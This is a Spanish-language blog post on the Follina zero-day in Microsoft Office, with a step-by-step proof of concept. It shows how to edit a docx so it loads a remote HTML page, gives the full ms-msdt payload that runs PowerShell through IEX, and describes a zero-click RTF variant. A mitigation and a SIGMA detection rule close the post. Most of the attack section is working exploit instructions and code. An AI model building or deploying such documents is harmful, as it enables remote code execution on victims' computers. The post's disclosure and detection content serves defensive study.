Cómo reproducir el nuevo 0-Day en Microsoft Office (Follina)

La compañía japonesa Nao Sec publicaba recientemente un tweet en el que alertaba de la identificación de un maldoc proveniente de Bielorrusia que usaba un enlace a una web externa para cargar un HTML y posteriormente el esquema de "ms-msdt" para ejecutar powershell. Se trataba de un 0-day que fue bautizado como Follina porque el código de la muestra obtenida hacía referencia a 0438, que es el código postal de esa localidad de Treviso en Italia.

Los archivos docx de MS Office pueden contener referencias de objetos OLE externos como archivos HTML. Hay un esquema HTML llamado MSDT (Microsoft Diagnostic Troubleshooting) que recopila información para el Soporte técnico de Microsoft. Este asistente de solución de problemas analiza la información recopilada e intenta encontrar una solución a los inconvenientes experimentados por el usuario. La vulnerabilidad permite que el código se ejecute a través de MSDT, "incluso si las macros están deshabilitadas".

"La Vista protegida se activa aunque, si se cambia el documento a formato RTF, se ejecuta sin ni siquiera abrir el documento (a través de la pestaña de vista previa en el Explorador), y mucho menos la Vista protegida", explicó Beaumont principal investigador de este issue.

Aunque todavía no está claro, afecta a la mayoría de Office y O365 y la contramedida identificada por el momento es eliminar la clave del registro: [-HKEY_CLASSES_ROOT\ms-msdt] y reiniciar. Al abrir el archivo malicioso entonces nos aparecería el siguiente mensaje:

Pasos para recrear la prueba de concepto

1. Abrir Word, crear un documento ficticio, insertar un objeto (OLE) (como una imagen de mapa de bits), guardarlo en docx.

2. Editar word/_rels/document.xml.rels en la estructura del docx (es un simple zip). Modificar la etiqueta XML <Relationship> con el atributo:

Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"

y Target="embeddings/oleObject1.bin" cambiando el valor de Target y agregando el atributo TargetMode:

Target = "http://<payload_server>/payload.html!"
TargetMode = "External"

Hay que tener en cuenta el valor de Id (probablemente sea "rId5").

3. Editar word/document.xml. Buscar la etiqueta "<o:OLEObject ..>" (con r:id="rd5") y cambiar el atributo de Type="Embed" a Type="Link" y agregar el atributo UpdateMode="OnCall".

NOTA: El docx malicioso creado es casi el mismo que para CVE-2021-44444.

Para la PoC por ejemplo ejecutamos la típica calculadora con el esquema ms-msdt en http://<payload_server>/payload.html:
<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
  window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>

</body>
</html>

Tened en cuenta que la línea de comentario con AAA debe repetirse más de 60 veces (para llenar suficiente espacio para activar el payload).     

BONUS (versión RTF sin necesidad de hacer clic)

Si también agregamos estos elementos bajo el elemento <o:OLEObject> en word/document.xml en el paso 3:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>

entonces también funcionará como RTF (abrir el docx resultante y guardarlo como RTF).

Con RTF, no es necesario abrir el archivo en Word, basta con buscar el archivo y verlo en un panel de vista previa. El panel de vista previa activa la carga HTML externa y RCE está allí sin ningún clic. :)

Video PoC:
https://twitter.com/_JohnHammond/status/1531125503725289472

SIGMA Rule:
title: MSDT Suspicious Command Execution
id: 1b90e772-0e84-45be-a1f4-8bcb7857c876
description: Detects execution of MSDT with required command parameters to execute the Follina Vulnerability.
status: experimental
references:
    - https://twitter.com/nao_sec/status/1530196847679401984?s=20&t=NCOt7Yv2gAr41X0FheqvyA
    - https://twitter.com/MalwareJake/status/1531019245726867457?s=20&t=UV3L0ijkG-yDYl24yXpJIA
    - https://www.scythe.io/library/breaking-follina-msdt-vulnerability
author: 'Christopher Peacock @SecurePeacock, SCYTHE @scythe_io, Jake Williams @MalwareJake'
date: 2022/05/30
tags:
    - attack.defense_evasion
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\msdt.exe'
        CommandLine|contains:
            - 'IT_RebrowseForFile'
            - 'IT_BrowseForFile'
    condition: selection
falsepositives:
    - False positives depend on scripts used in the monitored environment
level: medium

Refs:

Comentarios